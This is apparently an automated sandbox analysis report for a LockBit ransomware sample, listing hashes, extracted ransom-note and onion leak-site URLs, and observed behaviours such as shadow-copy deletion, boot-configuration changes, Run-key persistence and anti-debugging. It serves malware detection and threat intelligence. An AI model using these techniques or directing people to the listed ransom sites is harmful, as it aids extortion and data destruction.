Analysis
-
max time kernel
148s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
14-03-2024 04:21
Static task
static1
Behavioral task
behavioral1
Sample
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe
Resource
win10v2004-20240226-en
General
-
Target
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe
-
Size
959KB
-
MD5
df7a9a45a10c1942225eb9be257fb752
-
SHA1
874630d6f4bdf9224125d35f30c48bc6d1da8ec1
-
SHA256
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f
-
SHA512
c812b5bfbba51b196954e0c14668e3b46b79db3c62848a8be4f96ef12105948e22e41949c5a62e661ddda0126900d5058cf641b3351fa4b0ce0a3e7fd2aecbe2
-
SSDEEP
24576:uLjr3s2nScu1i1tz3f++5kRzFxk7rMxNeR1R9qpdsF:Ujrc2So1Ff+B3k796e
Malware Config
Extracted
C:\Program Files\dotnet\Restore-My-Files.txt
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
https://bigblog.at
http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
https://decoding.at
Extracted
C:\Users\Admin\Desktop\LockBit_Ransomware.hta
https://decoding.at/
http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion/or
https://decoding.at
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
https://bigblog.at
Signatures
-
Lockbit
Ransomware family with multiple variants released since late 2019.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 4952 bcdedit.exe 2084 bcdedit.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{E7894974-2828-CFE0-79A7-7920B9D0E148} = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe\"" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\Users\\Admin\\Desktop\\LockBit_Ransomware.hta" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exedescription ioc process File opened (read-only) \??\F: c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Drops file in System32 directory 1 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exedescription ioc process File created C:\windows\SysWOW64\F189D8.ico c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\F4EF.tmp.bmp" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 17 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exepid process 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Drops file in Program Files directory 64 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exedescription ioc process File opened for modification C:\program files\microsoft office\root\licenses16\visioproco365r_subtrial-ul-oob.xrm-ms c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\videolan\vlc\lua\intf\http.luac c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\tracked-send\images\email\themes\dark\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\office16\logoimages\winwordlogo.contrast-white_scale-80.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\themes\dark\s_illuemptyfolder_160.svg c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\licenses16\publisher2019vl_kms_client_ae-ul-oob.xrm-ms c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\my-computer\images\themes\dark\icons.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\unified-share\js\nls\hu-hu\ui-strings.js c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\office16\sdxs\fa000000027\assets\icons\[email protected] c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\files\dev\nls\pl-pl\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\unified-share\images\themes\dark\confirmation2x.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\reviews\images\dd_arrow_small2x.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\send-for-sign\js\plugin.js c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\7-zip\lang\mr.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\office16\1033\powerpnt_col.hxt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\vreg\proof.en-us.msi.16.en-us.vreg.dat c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\s_illuemptystateccfiles_280x192.svg c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\licenses16\projectpro2019xc2rvl_makc2r-ppd.xrm-ms c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\licenses16\skypeforbusiness2019vl_kms_client_ae-ppd.xrm-ms c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files\videolan\vlc\locale\is\lc_messages\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\scan-files\images\themeless\playstore\be_get.svg c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\7-zip\lang\fy.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\licenses16\proplus2019vl_mak_ae-pl.xrm-ms c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\win-scrollbar\themes\dark\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\my-recent-files\js\nls\root\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\walk-through\js\nls\nl-nl\ui-strings.js c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\rsod\proof.es-es.msi.16.es-es.tree.dat c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\my-recent-files\js\nls\da-dk\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\sign-services-auth\js\nls\ko-kr\ui-strings.js c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\office16\logoimages\firstrunlogo.scale-80.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\sign-services-auth\js\nls\ru-ru\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\task-handler\js\nls\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\tracked-send\images\email\empty.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\java\jdk-1.8\jre\lib\classlist c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\delete.svg c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\on-boarding\images\themeless\localized_images\it-it\playstore_icon.svg c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\on-boarding\js\nls\ja-jp\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files\java\jre-1.8\lib\amd64\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\digsig\js\nls\en-il\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\my-computer\js\nls\fi-fi\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\my-files\images\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\office16\pagesize\pgmn097.xml c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\ui-strings.js c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\search-summary\js\nls\ca-es\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\signatures\images\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\files\dev\nls\sk-sk\ui-strings.js c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\editpdf\images\rhp_world_icon_hover.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\java\jdk-1.8\jre\lib\management-agent.jar c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\licenses16\homebusinessr_oem_perp4-ppd.xrm-ms c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\licenses16\homestudentr_trial-ul-oob.xrm-ms c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\illustrations.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\app-center\js\nls\sv-se\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\office16\addins\powerpivot excel add-in\cartridges\as80.xsl c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\microsoft office\root\vfs\programfilesx86\microsoft office\office16\1033\vbaows10.chm c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\file_types\themes\dark\acrobat_pdf.svg c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File created C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\app-center\js\nls\cs-cz\Restore-My-Files.txt c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_2x.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files\java\jre-1.8\lib\tzdb.dat c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\tracker\tr.gif c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\files\dev\nls\nl-nl\ui-strings.js c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\add-account\images\themes\dark\illustrations.png c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\images\win8-scrollbar\themes\dark\arrow-left.gif c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe File opened for modification C:\program files (x86)\adobe\acrobat reader dc\reader\webresources\resource0\static\js\plugins\digsig\js\nls\sk-sk\ui-strings.js c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1648 2488 WerFault.exe mshta.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 2608 vssadmin.exe -
Modifies Control Panel 2 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\Desktop\TileWallpaper = "0" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Set value (str) \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\Desktop\WallpaperStyle = "2" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Modifies registry class 15 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000_Classes\Local Settings c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.lockbit\ = "LockBit" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Lockbit\DefaultIcon\ = "C:\\windows\\SysWow64\\F189D8.ico" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Key created \Registry\Machine\Software\Classes\Lockbit\shell c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Lockbit\ = "LockBit Class" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htafile\DefaultIcon\ = "C:\\windows\\SysWow64\\F189D8.ico" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Key created \Registry\Machine\Software\Classes\.lockbit\DefaultIcon c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.lockbit\DefaultIcon\ = "C:\\windows\\SysWow64\\F189D8.ico" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Key created \Registry\Machine\Software\Classes\Lockbit\shell\Open c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Lockbit\shell\Open\Command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"C:\\Users\\Admin\\Desktop\\LockBit_Ransomware.hta\"" c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Key created \Registry\Machine\Software\Classes\.lockbit c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Key created \Registry\Machine\Software\Classes\Lockbit\DefaultIcon c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Key created \Registry\Machine\Software\Classes\Lockbit\shell\Open\Command c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Key created \Registry\Machine\Software\Classes\Lockbit c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Key created \Registry\Machine\Software\Classes\htafile\DefaultIcon c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 34 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exepid process 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe -
Suspicious use of AdjustPrivilegeToken 47 IoCs
Processes:
c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exevssvc.exeWMIC.exedescription pid process Token: SeTakeOwnershipPrivilege 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Token: SeDebugPrivilege 5032 c3230c24b469fe5d82786444d3c7a7d16d78eb65581c814dbc5329a80b65481f.exe Token: SeBackupPrivilege 2052 vssvc.exe Token: SeRestorePrivilege 2052 vssvc.exe Token: SeAuditPrivilege 2052 vssvc.exe Token: SeIncreaseQuotaPrivilege 4540 WMIC.exe Token: SeSecurityPrivilege 4540 WMIC.exe Token: SeTakeOwnershipPrivilege 4540 WMIC.exe Token: SeLoadDriverPrivilege 4540 WMIC.exe Token: SeSystemProfilePrivilege 4540 WMIC.exe Token: SeSystemtimePrivilege 4540 WMIC.exe Token: SeProfSingleProcessPrivilege 4540 WMIC.exe Token: SeIncBasePriorityPrivilege 4540 WMIC.exe Token: SeCreatePagefilePrivilege 4540 WMIC.exe Token: SeBackupPrivilege 4540 WMIC.exe Token: SeRestorePrivilege 4540 WMIC.exe Token: SeShutdownPrivilege 4540 WMIC.exe Token: SeDebugPrivilege 4540 WMIC.exe Token: SeSystemEnvironmentPrivilege 4540 WMIC.exe Token: SeRemoteShutdownPrivilege 4540 WMIC.exe Token: SeUndockPrivilege 4540 WMIC.exe Token: SeManageVolumePrivilege 4540 WMIC.exe Token: 33 4540 WMIC.exe Token: 34 4540 WMIC.exe Token: 35 4540 WMIC.exe Token: 36 4540 WMIC.exe Token: SeIncreaseQuotaPrivilege 4540 WMIC.exe Token: SeSecurityPrivilege 4540 WMIC.exe Token: SeTakeOwnershipPrivilege 4540 WMIC.exe Token: SeLoadDriverPrivilege 4540 WMIC.exe Token: SeSystemProfilePrivilege 4540 WMIC.exe Token: SeSystemtimePrivilege 4540 WMIC.exe Token: SeProfSingleProcessPrivilege 4540 WMIC.exe Token: SeIncBasePriorityPrivilege 4540 WMIC.exe Token: SeCreatePagefilePrivilege 4540 WMIC.exe Token: SeBackupPrivilege 4540 WMIC.exe Token: SeRestorePrivilege 4540 WMIC.exe Token: SeShutdownPrivilege 4540 WMIC.exe Token: SeDebugPrivilege 4540 WMIC.exe Token: SeSystemEnvironmentPrivilege 4540 WMIC.exe Token: SeRemoteShutdownPrivilege 4540 WMIC.exe Token: SeUndockPrivilege 4540 WMIC.exe Token: SeManageVolumePrivilege 4540 WMIC.exe Token: 33 4540 WMIC.exe Token: 34 4540 WMIC.exe Token: 35 4540 WMIC.exe Token: 36 4540 WMIC.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
